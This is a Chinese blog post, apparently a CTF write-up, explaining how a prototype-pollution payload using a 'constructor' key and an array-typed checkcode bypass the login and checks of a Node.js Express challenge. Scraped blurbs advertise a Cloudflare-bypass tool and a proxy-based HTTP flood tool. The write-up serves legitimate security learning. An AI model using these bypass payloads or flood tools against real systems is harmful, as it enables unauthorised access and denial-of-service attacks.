[nodejs原型链污染及绕过]校赛第四次纳新赛 bypass WP

cloudflare-bypass:NodeJS工具绕过Cloudflare iUam V2 绕云绕道 一个NodeJS工具绕过Cloudflare IUAM v2。 这个怎么运作 JS挑战( jsch )包含多个串联JavaScript挑战。 我正在尝试对所有这些进行逆向工程,在可以看到已经逆转的所有挑战。 验证码挑战可以在JS挑战之后提出,它也包含JavaScript挑战,但是它包含 ,它加载hCaptcha并将令牌作为结果。 立即下载

前言

赛后自学了nodejs原型链污染后来尝试做这个题,难度不算太大,但是绕过姿势非常奇怪没见过,写一篇总结记录一下做法

wp

首先打开环境发现是一个登录框,题目有附件我们下载查看附件

最关键的就是controller.js和main.js两个文件,index.html是前端代码用处不大

代码审计

controller.js

 const fs = require("fs");//引入js模块,为flag1和flag2提供读文件操作
 const SECRET_COOKIE = process.env.SECRET_COOKIE || "this_is_testing_cookie"
 //设置SECRET_COOKIE的值,如果环境变量process.env中存在SECRET.COOKIE就把这个常量赋值为环境变量中的值,如果环境变量中没有则设置为"this_is_testing_cookie"
 const flag1 = fs.readFileSync("/flag1")//读flag1中的值
 const flag2 = fs.readFileSync("/flag2")//读flag2中的值
 ​
 //merge函数,nodejs原型链污染的关键函数,文章后面会放我对这个函数在nodejs原型链污染作用上的理解
 function merge(target, source) {
     for (let key in source) {
         if (key == "__proto__") {
             continue;//过滤了__proto__键,本题不能用__proto__来进行原型链污染,但prototype仍然可以使用
         }
         if (key in target && key in source) {
             merge(target[key], source[key])
         } else {
             target[key] = source[key]
         }
     }
 }
 ​
 //设置一个LoginController函数,描述登录逻辑
 function LoginController(req, res) {
     try {
         let user = {}//设置一个空对象user
         merge(user, req.body)//req.body是一个属性,通常用于存储与请求相关的主体内容,尤其是在POST请求中。当客户端向服务器发送数据(例如,通过表单提交或JSON数据),这些数据将被解析并存储在req.body中
 ​
         if (user.username !== "admin" || user.password !== Math.random().toString()) {
             res.status(401).type("text/html").send("Login Failed")//判断用户名或者密码的逻辑
         } else {
             //登录成功的逻辑,这里是本题nodejs原型链污染的重要利用点
             res.cookie("user", SECRET_COOKIE)
             req.user = "admin"
             res.redirect("/flag1")
         }
     } catch (e) {
         console.log(e)
         res.status(401).type("text/html").send("What the heck")
     }
 }
 ​
 //设置一个Flag1Controller函数,描述flag1的获得逻辑
 function Flag1Controller(req, res) {
     try {
         if (req.cookies.user === SECRET_COOKIE || req.user == "admin") {
         //这个判断使用逻辑或,只要两者有一个判断为true,整个判断为true,所以只要满足req.user == "admin"即可
             res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
             //把flag1的内容放在相应包中
             res.status(200).type("text/html").send("Login success. Welcome,admin!")
         } else {
             res.status(401).type("text/html").send("Unauthorized")
         }
     } catch (__) { }
 }
 ​
 //设置一个Flag2Controller函数,描述flag2的获得逻辑
 function Flag2Controller(req, res) {
     //三元运算符,如果req.body.checkcode的值存在则保留原有的值,如果不存在则复制为1234
     let checkcode = req.body.checkcode ? req.body.checkcode : 1234;
     console.log(req.body)
     if (checkcode.length === 16) { //判断checkcode的长度要等于16
         try {
             checkcode = checkcode.toLowerCase() //把checkcode的值中的大写字母变成小写字母
             if (checkcode !== "aGr5AtSp55dRacer") { //很明显经过前面的操作这里无法直接满足,所以可以通过触发 toLowerCase() 的错误来绕过条件判断,可以通过传递一个非字符串类型且长度为16的值(比如数组),这样执行checkcode时会抛出错误(因为非字符串无法调用该方法),错误被catch捕获后,代码会继续执行catch后面的内容
                 res.status(403).json({ "msg": "Invalid Checkcode1:" + checkcode })
             }
         } catch (__) { }
         //得到flag2
         res.status(200).type("text/html").json({ "msg": "You Got Another Part Of Flag: " + flag2.toString().trim() })
     } else {
         res.status(403).type("text/html").json({ "msg": "Invalid Checkcode2:" + checkcode })
     }
 }
 ​
 module.exports = {
     LoginController,
     Flag1Controller,
     Flag2Controller
 }

main.js

 const express = require("express")
 const fs = require("fs")
 const cookieParser = require("cookie-parser");
 const controller = require("./controller")
 ​
 const app = express();
 const PORT = Number(process.env.PORT) || 80
 const HOST = '0.0.0.0'
 ​
 ​
 app.use(express.urlencoded({ extended: false }))
 app.use(cookieParser())
 app.use(express.json())
 ​
 app.use(express.static('static'))
 ​
 //登陆页面
 app.get("/", (res) => {
     res.sendFile(__dirname, "static/index.html")
 })
 ​
 //传值使用post方式
 app.post("/", (req, res) => {
     controller.LoginController(req, res)
 })
 ​
 //flag1要发送get请求
 app.get("/flag1", (req, res) => {
     controller.Flag1Controller(req, res)
 })
 ​
 //flag2要发送post请求,可以在登录成功页面抓包post方式在flag2路由下传值
 app.post("/flag2", (req, res) => {
     controller.Flag2Controller(req, res)
 })
 ​
 app.listen(PORT, HOST, () => {
     console.log(`Server is listening on Host ${HOST} Port ${PORT}.`)
 })

解题

代码审计后本题的思路就非常明显了,首先绕过登录判断成功登录后访问flag1拿到前半段flag,然后访问flag2绕过判断拿到后半段flag

登录

首先我们随便输入用户名密码,抓包,因为源代码中假如登录成功会执行

 res.cookie("user", SECRET_COOKIE)
 req.user = "admin"
 res.redirect("/flag1")

所以我们要利用nodejs原型链污染把req.user设置为admin

payload

 {
     "username":"admin",
     "password":"123",
     "constructor":{
         "user":"admin"
     }
 }

把content-type改成application/json后发送请求包

flag1

执行了catch(e)中的内容,看起来登录好像已经绕过了,我们尝试手动访问flag1

成功访问,我们修改请求包为get访问flag1

成功拿到前半段flag1

flag2

接下来就是第二段flag

我做的时候竟然纳闷flag2这段代码是哪个页面的逻辑,想了半天才想到去main.js里面去看看,真服了我这脑子

flag2是post传值,这里需要绕过的关键判断是

 if (checkcode.length === 16) { //判断checkcode的长度要等于16
         try {
             checkcode = checkcode.toLowerCase() //把checkcode的值中的大写字母变成小写字母
             if (checkcode !== "aGr5AtSp55dRacer")

很明显如果我们的字符串大写字母转为小写字母后肯定不能满足这个判断的字符串,因为里面还有大写字母。代码审计中提到了这里的绕过方式,我们利用数组绕过

 {
     "checkcode":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]
 }

成功拿到第二段flag,拼起来就是完整的flag。

Layer7-MultiBypass:NodeJS Web请求泛洪器,将大量请求发送到具有自定义功能的URL,并绕过JS挑战,它使用代理。 停止出售这个狗屎 Layer7-MultiBypass NodeJS Web请求泛洪器,将大量请求发送到具有自定义功能的URL,并绕过JS挑战,它使用代理。 不要卖这个狗屎 该模块包含多个防火墙旁路: Cloudflare(JS挑战-UAM,部分验证码) 风暴墙 炽热的 OVH UAM 管道卫士 DDoS-Guard(JS挑战) 该模块也可以与CNC控制器一起使用,但是也可以仅通过命令来运行。 要求: node.js proxies.txt-包含代理列表的文件。 ua.txt-包含要使用的用户代理列表的文件。 如何使用? 运行npm install 节点method.js [URL] [DURATION(SECONDS)] [MODE] 示例:node method.js 120请求5 立即下载

相关推荐

【量化交易】迅投QMT——基础操作新建策略导入策略!

策略指标 #基础操作 #新建策略 在【我的】主页,点击新建策略按钮 点击【pyhton策略】模型 会弹出一个策略编辑器框 【新建策略文件】 编辑完点击【编译】按钮 关闭策略编辑器 导入策略 券商 QMT:1. 点击进入【模型研究】界面2. 右键 -> 选择本地. rzrk导入 投研端:1. 点击【行情】界面,选择模型2. 右键 -> 选择本地. rzrk导入 #策略在副图作为指标运行 在主图上双击策略 VBA策略可以直接输出图像

weixin_eng02048的博客 4112

[Meachines] [Easy] Codify Express-Nodejs-Vm2-Bypass-RCE+SH == * Bypass权限提升

#Express-Nodejs-Vm2-Bypass-RCE #SH == * Bypass权限提升

559

高速光耦在隔离串口通信中的选型与优化策略

本文深入探讨了高速光耦在隔离串口通信中的关键作用与选型优化策略。针对串口通信中因普通光耦响应慢导致的误码问题,文章详细分析了响应时间、电流传输比、供电电压与隔离耐压等核心选型指标,并对比了6N137、HCPL-0601等主流型号。同时,提供了电路设计、PCB布局的优化技巧及实用的调试指南,旨在帮助工程师实现高速、稳定的隔离串口通信。

grpc6streamer的博客 323

原型链污染,nodejs逃逸例子

这个原因就是因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的。这两个的一个重要区别就是,{}是在沙盒内的一个对象,而this是在沙盒外的对象(注入进来的)。如果能理解这一点,后面就可以很好的理解沙箱绕过的核心原理了:只要我们能在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。

bo1029的博客 1136

单电源运放偏置电压设计:如何避免信号失真

本文详细解析了单电源运放偏置电压设计的关键技术,以LM358为例,探讨如何通过1/2 VCC偏置避免信号失真。文章从基本原理出发,揭示了双端偏置的黄金法则,并提供了常见设计陷阱的解决方案和进阶调试技巧,帮助工程师实现高保真信号放大。

weixin_29266647的博客 293

基于python的奥运会历史数据分析【120年】

数据分析实战案例

xff123456_的博客 3339

小白也能看懂系列:一文看懂登录绕过(bypass )

本文摘要了多种绕过登录验证的技术方法,包括:1) 检查页面源码和直接访问受限页面;2) 利用PHP比较错误和JSON参数注入;3) 尝试Node.js解析漏洞;4) 测试默认凭证和暴力破解;5) SQL注入绕过技术,列举了大量注入payload;6) NoSQL和XPath注入方法;7) 利用"记住我"功能和开放重定向漏洞。这些技术涉及参数篡改、逻辑漏洞利用和注入攻击等多种攻击向量,旨在绕过常规身份验证机制获取未授权访问。

zhengfei611的博客 1102

101、LLC谐振变换器的传递函数推导

文章摘要 LLC谐振变换器的传递函数推导是电源设计的关键环节。作者通过一次炸管事故案例,揭示了忽视传递函数计算的严重后果。LLC传递函数复杂的根源在于其三个谐振元件(Lr、Cr、Lm)的变频工作特性,导致增益曲线非单调变化。文章详细介绍了采用扩展描述函数法的建模思路,指出Lm对增益曲线的重要影响,并给出了传递函数的数学表达式及频率响应特性。通过实际调试案例,作者对比了错误补偿器设计(Type II)与优化方案(Type III)的效果差异,强调了实测验证的重要性。最后总结了5条实用经验,包括留足裕度、关注启

Jack010169的博客 154

Nodejs原型链污染

在攻防世界和CTF比赛中见过几道Nodejs原型链污染的题目,发现这是一个常考点,不得不整理了。首先解释一下原型链。

apple_74953689的博客 838

CAP CDS 和 ABAP Cloud 的 CDS 有什么区别?

摘要:SAP生态中的CAP CDS与ABAP CDS虽同名但存在显著差异。CAP CDS定位为全栈应用的领域模型与服务契约语言,支持声明式建模并直接编译为服务接口;而ABAP CDS更侧重数据语义层,与ABAP平台深度集成,服务于SQL优化和服务发布链路。两者在语法、持久化方式、服务暴露机制及权限模型上均有不同:CAP CDS采用CDL语法,支持模型即服务;ABAP CDS基于ABAP DDL,通过视图定义语义并与RAP框架紧密耦合。这些差异反映了二者在不同平台中的设计哲学和应用场景。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 207

3D打印机控制系统设计:基于MATLAB的3D打印机运动学建模、轨迹规划和控制

控制实现:在控制实现中,需要将轨迹规划的结果转化为实际的控制指令,控制3D打印机按照规划的轨迹进行运动。3D打印机的运动学建模:3D打印机的运动学建模是指将3D打印机的机械结构、传动系统和运动控制部件等抽象成数学模型,以便于进行控制系统的设计和分析。轨迹规划:轨迹规划是指根据3D模型的几何形状和打印机的运动学模型,计算出打印机需要执行的运动轨迹,以便于实现所需的打印效果。控制实现:控制实现是指将轨迹规划的结果转化为控制指令,控制3D打印机按照规划的轨迹进行运动。

走向CTO的路上... 2473

【攻防世界】Web | wife_wife 详细题解WP

_proto__是 JavaScript 原型链的核心机制,允许对象继承其他对象的属性和方法。尽管它提供了动态修改继承关系的灵活性,但由于性能和兼容性问题,现代开发中更推荐使用标准化的替代方案。理解__proto__有助于深入掌握 JavaScript 的继承原理,但实际编码中应谨慎使用。JavaScript 原型链污染是一种隐蔽但危害极大的漏洞,利用了 JavaScript 动态原型系统的特性。深入理解 JavaScript 原型机制在开发阶段实施严格的防御措施在渗透测试中重点关注潜在风险点。

weixin_36448205的博客 98

海康Visionmaster-全局脚本:VM 加载方案后自动执行 的方法,如何让VM在方案加载后自动执行流程?

海康Visionmaster-全局脚本:VM 加载方案后自动执行 的方法,如何让VM在方案加载后自动执行流程?

视觉人机器视觉的博客 2038

Node.js篇02-path路径模块,file文件模块,加密,cookie和session(登录)

关于node.js中path路径模块,file文件模块, 密码加密,cookie和session实现登录的一些些······

qq_54379580的博客 1135

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

Vue中process.env关键字怎么使用,以及前后端不在同一台服务器怎么访问?

可以在命令行输入命令查看环境信息 有以下三种运行模式 我们查看配置信息,当运行Vue CLI命令,开发环境运行,要部署服务器发布生产环境时运行,他们正好对应Vue CLI中的模式和模式,就会把该模式下的NODE_ENV载入其中了 那既然知道项目运行的是那个模式,是不是我们就可以在不同模式下运行不同的变量信息,如开发环境使用端口8080,线上(生产)环境的端口是80,这个时候你会想,我知道不同模式配置不同信息,那信息配置在那个文件呢? 会有先后顺序 一个环境文件只包含环境变量的“键=值”

Itmei的博客 5811

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

Cookie/Session/Token认证机制详解:程序员必须掌握的Web安全必修课

Token被盗怎么办?→ 加入设备指纹校验如何强制下线?→ 维护Token黑名单密钥泄露?→ 定时轮换密钥策略。

2501_91408482的博客 1019

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

js实现原型链污染,沙箱绕过

沙箱绕过"是指攻击者利用各种方法和技术来规避或绕过应用程序或系统中的沙箱(sandbox)。沙箱是一种安全机制,用于隔离和限制应用程序的执行环境,从而防止恶意代码对系统造成损害。它常被用于隔离不受信任的代码,以防止其访问敏感数据或对系统进行未授权的操作。当攻击者成功绕过沙箱时,他们可以在受影响的系统上执行恶意代码,并且有可能获取敏感信息、传播恶意软件、执行拒绝服务攻击或利用系统漏洞等。

Unraveled的博客 795

NodeJS原型链污染

NodeJS原型链污染

Aiwin的博客 1643

Nodejs ctf 基础

总结数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较;而字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较,因此就会出现第五行代码的这种情况;总结空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串;数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较。应该执行eval()函数,可以执行js代码,那么就可以执行系统命令了。依旧是get传eval。...

qq_61768489的博客 2355

node.js原型链污染小结

node.js原型链小结

qq_61209261的博客 1050

nuxt项目:全局获取process.env信息

在项目启动 或打包后,得到全局的一个变量信息,从而我们去做一些事情。

snow的博客 7307

node.js原型链污染漏洞

node.js入门:http://nodejs.cn/learn/how-much-javascript-do-you-need-to-know-to-use-nodejs 根据上面说明要掌握的JavaScript部分直接看菜鸟教程学。 对象与原型链 JavaScript当中的所有事物都是对象:字符串、数值、数组、函数。对象只是一种特殊的数据。对象拥有属性和方法。 可以这样创建一个对象 var person = {firstName:"John", lastName:"Doe", age:50, eyeCo

weixin_43610673的博客 4712

nodejs应用中的权限绕过漏洞—一个赏金漏洞的故事

翻译自:https://medium.com/bugbountywriteup/authentication-bypass-in-nodejs-application-a-bug-bounty-story-d34960256402 翻译:聂心明 hi,大家好, 在这篇文章中,我将完整介绍我在私有src中发现的一个漏洞,这个漏洞可导致nodejs的身份认证被绕过。并且我将介绍如果我遇到类似的接口(只...

一个码农的笔记 2万+

湖南省网安基地网络安全培训:零基础入门与实战进阶的课程衔接

零基础学网安,怕跟不上;有基础再学,怕重复。本文按阶段拆解湖南省网安基地的网络安全培训衔接逻辑:能力评估定起点,基础阶段补系统与网络底座,核心阶段练漏洞复现,进阶阶段进入红蓝对抗与单位网络安全攻防演练,并说明 NISP、CISP 与网安实战人才的对应关系。

2401_84466325的博客 1132
上一篇: GHCTF 2025 web 萌新初探wp
下一篇: (萌新向)对于nodejs原型链污染中merge函数的作用的个人理解
Acc1oFl4g
博客等级 码龄7年 112粉丝 24原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值